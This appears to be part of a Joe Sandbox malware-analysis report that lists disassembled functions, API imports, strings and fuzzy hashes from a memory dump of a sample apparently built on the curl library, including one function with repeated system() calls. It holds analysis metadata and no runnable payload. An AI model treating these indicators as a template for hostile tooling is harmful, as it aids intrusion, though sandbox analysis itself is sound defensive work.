Unrecognized parameter passed via CURLOPT_SSLVERSION, xrefs: 00007FF79B71A6EF
schannel: using IP address, SNI is not supported by OS., xrefs: 00007FF79B71A733
schannel: initial InitializeSecurityContext failed: %s, xrefs: 00007FF79B71A90C, 00007FF79B71A953
http/1.1, xrefs: 00007FF79B71A767
wine_get_version, xrefs: 00007FF79B719D4A
http/1.1, xrefs: 00007FF79B71A753
schannel: SNI or certificate check failed: %s, xrefs: 00007FF79B71A92D
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 00007FF79B71A9E9
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 00007FF79B719D22
schannel: ALPN, offering %s, xrefs: 00007FF79B71A775
schannel: unable to allocate memory, xrefs: 00007FF79B71A847
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00007FF79B719DE2
ntdll, xrefs: 00007FF79B719D3A

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Unrecognized parameter passed via CURLOPT_SSLVERSION$http/1.1$http/1.1$ntdll$schannel: ALPN, offering %s$schannel: SNI or certificate check failed: %s$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: initial InitializeSecurityContext failed: %s$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.$wine_get_version
API String ID: 1646373207-2477831187
Opcode ID: e035301e0cbd76806e6d1a7f8fc22b50779d8e0e354411302bf99611f5d9ad32
Instruction ID: 56554f7f5c9534c8931e120dd75844f647b5d3aad9ef67f81c3770cc81091c16
Opcode Fuzzy Hash: e035301e0cbd76806e6d1a7f8fc22b50779d8e0e354411302bf99611f5d9ad32
Instruction Fuzzy Hash: 8D028F32A08B8986E760EF39D8442B9B7A5FB88784F804237DA5D477B5DF38D645C720

Function 00007FF79B6FB2B0 Relevance: 28.7, APIs: 19, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB2E2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB37D
InitializeCriticalSectionEx.KERNEL32 ref: 00007FF79B6FB396

Part of subcall function 00007FF79B714A60: socket.WS2_32 ref: 00007FF79B714AA1

DeleteCriticalSection.KERNEL32 ref: 00007FF79B6FB3D0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB3DA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB3E4
closesocket.WS2_32 ref: 00007FF79B6FB402
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB438
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6FB43E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FB46D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB487
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FB490
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6FB4C5
EnterCriticalSection.KERNEL32 ref: 00007FF79B6FB4E6
LeaveCriticalSection.KERNEL32 ref: 00007FF79B6FB4FA
CloseHandle.KERNEL32 ref: 00007FF79B6FB507
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB532
closesocket.WS2_32 ref: 00007FF79B6FB54B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB55F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$CriticalSection$_errno_strdupclosesocket$CloseDeleteEnterHandleInitializeLeavecallocmallocsocket
String ID:
API String ID: 259767416-0
Opcode ID: 5be7457888181850c85d56aadbc1f894fea58f0b3c7651b9d9ee872265a8f40c
Instruction ID: ae3ccdade534d83c2f0a55142f66b544df1a48c40c10586936f3a241f0526802
Opcode Fuzzy Hash: 5be7457888181850c85d56aadbc1f894fea58f0b3c7651b9d9ee872265a8f40c
Instruction Fuzzy Hash: 70817C22D09B8583E624EF25E441269B761FBD8B50F855335CBAE027B1DF78F6D48320

Function 00007FF79B702920 Relevance: 28.6, APIs: 6, Strings: 10, Instructions: 557COMMON

Download Yara Rule

Strings

No connections available., xrefs: 00007FF79B7030C1
host, xrefs: 00007FF79B702FF0
No more connections allowed to host %s: %zu, xrefs: 00007FF79B7030B2
proxy, xrefs: 00007FF79B702FE2
ftp@example.com, xrefs: 00007FF79B702ADF
NTLM-proxy picked AND auth done set, clear picked!, xrefs: 00007FF79B7031A0
anonymous, xrefs: 00007FF79B702AD8
Re-using existing connection! (#%ld) with %s %s, xrefs: 00007FF79B703003
No connections available in cache, xrefs: 00007FF79B70331B
NTLM picked AND auth done set, clear picked!, xrefs: 00007FF79B703172

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: NTLM picked AND auth done set, clear picked!$NTLM-proxy picked AND auth done set, clear picked!$No connections available in cache$No connections available.$No more connections allowed to host %s: %zu$Re-using existing connection! (#%ld) with %s %s$anonymous$ftp@example.com$host$proxy
API String ID: 0-760484938
Opcode ID: 252dd515cb8bdb198c95c2b8d2812c48f0c9e2258bf50e30846c177568f5f6a3
Instruction ID: dba20c37e7a8078715dc977ccb597b7018fbeae43b9280b78023d6cc7d01e9b6
Opcode Fuzzy Hash: 252dd515cb8bdb198c95c2b8d2812c48f0c9e2258bf50e30846c177568f5f6a3
Instruction Fuzzy Hash: 0642CA62609B8A51EB69AB3999403B9B7A1FB4DB84F440237CE5D47771DF38E660C320

Function 00007FF79B7018B0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6F1B61,?,?,?,?,00007FF79B6E3591), ref: 00007FF79B7018C8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B701911

Strings

`, xrefs: 00007FF79B701BAA
<, xrefs: 00007FF79B701B4E
<, xrefs: 00007FF79B701A27
v, xrefs: 00007FF79B701BBF
<, xrefs: 00007FF79B701B58

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: callocfree
String ID: <$<$<$`$v
API String ID: 306872129-2056843887
Opcode ID: 0f6027920e8d3f7411a692dd236cf3385027a913357f224eb3018c0997195d0f
Instruction ID: cdb9b5072cae3d27410b027c1b9c5e852334d2935cfea06e29f04fd771e636cf
Opcode Fuzzy Hash: 0f6027920e8d3f7411a692dd236cf3385027a913357f224eb3018c0997195d0f
Instruction Fuzzy Hash: 39914B32908BC586E3109F38D4043E977A1FB59B5CF485339DF990A7A6DFBAA194C720

Function 00007FF79B708660 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 128
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?,00007FF79B7324BA,?,?,?,?,00007FF79B7089EB), ref: 00007FF79B708674
GetProcAddress.KERNEL32(?,?,00007FF79B7324BA,?,?,?,?,00007FF79B7089EB), ref: 00007FF79B708699
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00007FF79B7324BA,?,?,?,?,00007FF79B7089EB), ref: 00007FF79B7086AC

Strings

AddDllDirectory, xrefs: 00007FF79B7086F3
LoadLibraryExA, xrefs: 00007FF79B70868A
kernel32, xrefs: 00007FF79B70866D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: AddressHandleModuleProcstrpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 27745253-3327535076
Opcode ID: 4e48bd242bc8de50c7c49492aed2aaea806512792f90eb033efec11107f27546
Instruction ID: 4c7ba7eaee9c59cfd2a4a19ee5e47f49c41e7d8f01e6967115dd14c8a92eaa8c
Opcode Fuzzy Hash: 4e48bd242bc8de50c7c49492aed2aaea806512792f90eb033efec11107f27546
Instruction Fuzzy Hash: AA41BD16B0E64682EB25AF7AA80013997A2EF4DBD1F885233CE5D037B4DE3CD585C720

Function 00007FF79B707300 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 161
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32 ref: 00007FF79B70736C
WSAGetLastError.WS2_32 ref: 00007FF79B707376

Part of subcall function 00007FF79B6F2500: GetLastError.KERNEL32 ref: 00007FF79B6F2522
Part of subcall function 00007FF79B6F2500: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F252A

getsockname.WS2_32 ref: 00007FF79B7073F6
WSAGetLastError.WS2_32 ref: 00007FF79B707400

Strings

getsockname() failed with errno %d: %s, xrefs: 00007FF79B707420
getpeername() failed with errno %d: %s, xrefs: 00007FF79B707396
ssrem inet_ntop() failed with errno %d: %s, xrefs: 00007FF79B707486
ssloc inet_ntop() failed with errno %d: %s, xrefs: 00007FF79B70751C

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast$_errnogetpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 2911674258-670633250
Opcode ID: 49c1520c5f3771e96cdf1576298b0c1f5e19965a53e7fb4b6fc29f3d889e0196
Instruction ID: 2db1d430306f823d843ad284fa7e14e2395d1c2e82577409b060def4c9ebfe18
Opcode Fuzzy Hash: 49c1520c5f3771e96cdf1576298b0c1f5e19965a53e7fb4b6fc29f3d889e0196
Instruction Fuzzy Hash: 6E916E66A18B8582D720DF39D4542E97361FB8CB88F845237DE4C47675EF38E285CB20

Function 00007FF79B7186D0 Relevance: 19.6, APIs: 13, Instructions: 128
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 00007FF79B7186F2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B71875E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B718798
memcpy.VCRUNTIME140(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B7187B1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B7187BF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B7187FA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B718803
freeaddrinfo.WS2_32(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B718831
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B718845
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B71884F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B71885C
WSASetLastError.WS2_32(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B71887D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc$ErrorLast_strdupfreeaddrinfogetaddrinfomemcpy
String ID:
API String ID: 2364279375-0
Opcode ID: aae1654f01031a43846d7b113ef3c787abe0dcc67a0a0ca57b12d574065e3cdc
Instruction ID: 72c096c0ec22a807b56f91dd845fdc07f1919f0aff21c30fe1e892d35d755529
Opcode Fuzzy Hash: aae1654f01031a43846d7b113ef3c787abe0dcc67a0a0ca57b12d574065e3cdc
Instruction Fuzzy Hash: CF512E36A19B4986EA35EF69A540139F7A1FB88B90F844236CE9E13770DF3CE5448730

Function 00007FF79B715FE0 Relevance: 16.7, APIs: 11, Instructions: 241
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32 ref: 00007FF79B71603D
Sleep.KERNEL32 ref: 00007FF79B71604E
WSASetLastError.WS2_32 ref: 00007FF79B7161B8
Sleep.KERNEL32 ref: 00007FF79B7161C9
__WSAFDIsSet.WS2_32 ref: 00007FF79B71627C
__WSAFDIsSet.WS2_32 ref: 00007FF79B716293
__WSAFDIsSet.WS2_32 ref: 00007FF79B7162AE
__WSAFDIsSet.WS2_32 ref: 00007FF79B7162C2
__WSAFDIsSet.WS2_32 ref: 00007FF79B7162DD
__WSAFDIsSet.WS2_32 ref: 00007FF79B7162F1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 363319e16a2b8222d8df7e59ba0061303e8eba5504a98dbbef40f9d959649e26
Instruction ID: 42da510f8667915be44c99007fc8b4aa1194843b6ed8c2f435f3476ce357eee8
Opcode Fuzzy Hash: 363319e16a2b8222d8df7e59ba0061303e8eba5504a98dbbef40f9d959649e26
Instruction Fuzzy Hash: 8291DA31B0C64A86EB74EE3C98506B9A295FBCC754F904336D91986BF4DE3CDB418630

Function 00007FF79B704EF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B704F3F

Strings

Unix socket path too long: '%s', xrefs: 00007FF79B704F96
Couldn't resolve host '%s', xrefs: 00007FF79B705071
Couldn't resolve proxy '%s', xrefs: 00007FF79B70511C

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: calloc
String ID: Couldn't resolve host '%s'$Couldn't resolve proxy '%s'$Unix socket path too long: '%s'
API String ID: 2635317215-3812100122
Opcode ID: 20c1f01f82be5406a22b6bd8f2c06d5bf3bce3b875cd4d8ace4c03d303d19b1a
Instruction ID: ededaaa8520539d9e21dc00f7e3c5b7402c1dbc5b991095c40c17e394063f4d2
Opcode Fuzzy Hash: 20c1f01f82be5406a22b6bd8f2c06d5bf3bce3b875cd4d8ace4c03d303d19b1a
Instruction Fuzzy Hash: DC51B621A0C64A82F735AF399890379A7A1EB48790F940637DB5D437B0EF3DE6518B20

Function 00007FF79B6E2840 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 121processCOMMON

Download Yara Rule

APIs

system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E28A7
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2917
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2977
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E29C7
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2A17
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2A88

Strings

h%49, xrefs: 00007FF79B6E2A5E
.8, xrefs: 00007FF79B6E2A65

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: system
String ID: .8$h%49
API String ID: 3377271179-4206735779
Opcode ID: 7ebd12cc3e181ad32f3692901b742a6bc9b2230d4e4e9f973d7613ff70f3cc47
Instruction ID: dc1080d81016a3348a79c4b35d9909f4777caa0687bf3184e6b7356618189297
Opcode Fuzzy Hash: 7ebd12cc3e181ad32f3692901b742a6bc9b2230d4e4e9f973d7613ff70f3cc47
Instruction Fuzzy Hash: C2617F22E18BDA89F311DFBCE8051BCB772BB8D749F405369CF8925D25EBA85208C754

Function 00007FF79B6FB1A0 Relevance: 12.1, APIs: 8, Instructions: 67networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B7186D0: getaddrinfo.WS2_32 ref: 00007FF79B7186F2
Part of subcall function 00007FF79B7186D0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B71875E
Part of subcall function 00007FF79B7186D0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B718798
Part of subcall function 00007FF79B7186D0: memcpy.VCRUNTIME140(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B7187B1
Part of subcall function 00007FF79B7186D0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B7187BF
Part of subcall function 00007FF79B7186D0: freeaddrinfo.WS2_32(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B718831
Part of subcall function 00007FF79B7186D0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B718845
Part of subcall function 00007FF79B7186D0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B71884F
Part of subcall function 00007FF79B7186D0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB1F5), ref: 00007FF79B71885C

WSAGetLastError.WS2_32 ref: 00007FF79B6FB1FB
WSAGetLastError.WS2_32 ref: 00007FF79B6FB205
EnterCriticalSection.KERNEL32 ref: 00007FF79B6FB220
LeaveCriticalSection.KERNEL32 ref: 00007FF79B6FB22F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FB240
send.WS2_32 ref: 00007FF79B6FB263
WSAGetLastError.WS2_32 ref: 00007FF79B6FB26D
LeaveCriticalSection.KERNEL32 ref: 00007FF79B6FB280

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$CriticalErrorLastSection$Leavemalloc$Enter_strdupfreeaddrinfogetaddrinfomemcpysend
String ID:
API String ID: 506363382-0
Opcode ID: 8d4847aa9c3541c6272cc4f64181b6fcda6a05a4c2714a92309b560570c47997
Instruction ID: a36cc7819dc67962e88537b987b9ad13e1f6d7a61259751237d73fa66f1abb45
Opcode Fuzzy Hash: 8d4847aa9c3541c6272cc4f64181b6fcda6a05a4c2714a92309b560570c47997
Instruction Fuzzy Hash: FA31A83160864AC2EB60AF39D44127DBB61FF88B99F840232D51E836B4DF3CE645C760

Function 00007FF79B715C40 Relevance: 10.7, APIs: 7, Instructions: 242sleepnetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32 ref: 00007FF79B715CA6
WSASetLastError.WS2_32 ref: 00007FF79B715E66
Sleep.KERNEL32 ref: 00007FF79B715E76
__WSAFDIsSet.WS2_32 ref: 00007FF79B715F8A
__WSAFDIsSet.WS2_32 ref: 00007FF79B715FA2
Sleep.KERNEL32 ref: 00007FF79B715FCD

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: e3f0b53e7d0d702f4cea96a3ea50b309b15a16bcda6c46903225a8fb009487bc
Instruction ID: 7937c93e2665f8b4c174680922ef14f736531f97f2a1793254dcfdf4cb36d652
Opcode Fuzzy Hash: e3f0b53e7d0d702f4cea96a3ea50b309b15a16bcda6c46903225a8fb009487bc
Instruction Fuzzy Hash: C1A1E931A1865A86EB7DEA3C9440279A255FF8CB94F944336ED5A46BF4DF3DD6008330

Function 00007FF79B71BC90 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71BD2E
memcpy.VCRUNTIME140 ref: 00007FF79B71BDC6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71BEFC

Strings

select/poll on SSL socket, errno: %d, xrefs: 00007FF79B71BEA4
schannel: timed out sending data (bytes sent: %zd), xrefs: 00007FF79B71BEC4

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemallocmemcpy
String ID: schannel: timed out sending data (bytes sent: %zd)$select/poll on SSL socket, errno: %d
API String ID: 3056473165-3891197721
Opcode ID: 30f06a6357ad4ebb74709ca43414f22e7c0f39d1b84d28cab9a3d25f85249b39
Instruction ID: bf69260acb88ac624e3a882c8e88211cf8aeb77b9eac5b05c5b0b3e3a2351794
Opcode Fuzzy Hash: 30f06a6357ad4ebb74709ca43414f22e7c0f39d1b84d28cab9a3d25f85249b39
Instruction Fuzzy Hash: 6B718172B04B498AE720DB79D4506AD77A5FB48BA8F800736DE2D477E4EE38E505C720

Function 00007FF79B73F85C Relevance: 10.6, APIs: 7, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_release_startup_lock.LIBCMT ref: 00007FF79B73F8F3
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B73F941
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B73F946
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B73F94E
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B73F956
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B73F978
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B73F9D2

Memory Dump Source

